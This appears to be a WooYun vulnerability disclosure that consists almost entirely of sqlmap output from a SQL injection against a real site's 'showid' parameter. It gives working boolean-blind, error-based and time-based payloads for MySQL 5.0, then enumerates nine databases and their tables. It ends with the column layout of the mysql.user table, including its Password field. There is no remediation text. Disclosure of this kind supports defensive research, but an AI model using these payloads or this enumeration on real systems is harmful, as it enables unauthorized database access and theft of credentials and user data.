WooYun.org

Place: GET
Parameter: showid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: showid=20 AND 7892=7892&cityid=1
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: showid=20 AND (SELECT 8120 FROM(SELECT COUNT(*),CONCAT(0x716e676271
,(SELECT (CASE WHEN (8120=8120) THEN 1 ELSE 0 END)),0x7173706471,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&cityid=1
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: showid=20 AND SLEEP(5)&cityid=1
---
there were multiple injection points, please select the one to use for following
injections:
[00:06:50] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
Database: brand_news
[6 tables]
+---------------------------------------+
| bn_brand |
| bn_brand_bak |
| bn_fragment |
| bn_news |
| bn_news_20131127 |
| bn_news_bak |
+---------------------------------------+
Database: utask
[10 tables]
+---------------------------------------+
| utk_goldsilver |
| utk_goldsilverlog |
| utk_sharelink_log |
| utk_tackgold |
| utk_tackgoldlog |
| utk_taskinfo |
| utk_taskrun_log |
| utk_userinvite_log |
| utk_usertask |
| utk_usertask_log |
+---------------------------------------+
Database: show
[8 tables]
+---------------------------------------+
| brand |
| cities |
| cms |
| cms_img |
| cms_zhuang |
| pictures |
| shows |
| tags |
+---------------------------------------+
Database: uspace_shichang
[12 tables]
+---------------------------------------+
| gift_admin |
| gift_adminlog |
| gift_auctiondetaillog |
| gift_auctiongoods |
| gift_auctiongroup |
| gift_auctionlog |
| gift_realgoods |
| gift_realgroup |
| gift_reallog |
| gift_virtualgoods |
| gift_virtualgroup |
| gift_virtuallog |
+---------------------------------------+
Database: mysql
[23 tables]
+---------------------------------------+
| user |
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| servers |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
+---------------------------------------+
Database: by
[4 tables]
+---------------------------------------+
| activity |
| gift |
| signature_group |
| signature_log |
+---------------------------------------+
Database: jiankang
[5 tables]
+---------------------------------------+
| jk_articles |
| jk_category |
| jk_keyword |
| jk_related_articles |
| jk_setting |
+---------------------------------------+
Database: uspace_job
[16 tables]
+---------------------------------------+
| job_admin |
| job_log |
| job_scene |
| job_selectlog |
| job_setting |
| job_statis |
| job_userinfo |
| job_userinfo_1 |
| job_userinfo_2 |
| job_viewlog |
| job_workitem |
| job_worklog_1 |
| job_worklog_2 |
| job_workscene |
| uchome_bjc_modlog |
| uchome_bjc_module |
+---------------------------------------+
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
Database: mysql
Table: user
[39 columns]
+-----------------------+-----------------------------------+
| Column | Type |
+-----------------------+-----------------------------------+
| User | char(16) |
| Alter_priv | enum('N','Y') |
| Alter_routine_priv | enum('N','Y') |
| Create_priv | enum('N','Y') |
| Create_routine_priv | enum('N','Y') |
| Create_tmp_table_priv | enum('N','Y') |
| Create_user_priv | enum('N','Y') |
| Create_view_priv | enum('N','Y') |
| Delete_priv | enum('N','Y') |
| Drop_priv | enum('N','Y') |
| Event_priv | enum('N','Y') |
| Execute_priv | enum('N','Y') |
| File_priv | enum('N','Y') |
| Grant_priv | enum('N','Y') |
| Host | char(60) |
| Index_priv | enum('N','Y') |
| Insert_priv | enum('N','Y') |
| Lock_tables_priv | enum('N','Y') |
| max_connections | int(11) unsigned |
| max_questions | int(11) unsigned |
| max_updates | int(11) unsigned |
| max_user_connections | int(11) unsigned |
| Password | char(41) |
| Process_priv | enum('N','Y') |
| References_priv | enum('N','Y') |
| Reload_priv | enum('N','Y') |
| Repl_client_priv | enum('N','Y') |
| Repl_slave_priv | enum('N','Y') |
| Select_priv | enum('N','Y') |
| Show_db_priv | enum('N','Y') |
| Show_view_priv | enum('N','Y') |
| Shutdown_priv | enum('N','Y') |
| ssl_cipher | blob |
| ssl_type | enum('','ANY','X509','SPECIFIED') |
| Super_priv | enum('N','Y') |
| Trigger_priv | enum('N','Y') |
| Update_priv | enum('N','Y') |
| x509_issuer | blob |
| x509_subject | blob |
+-----------------------+-----------------------------------+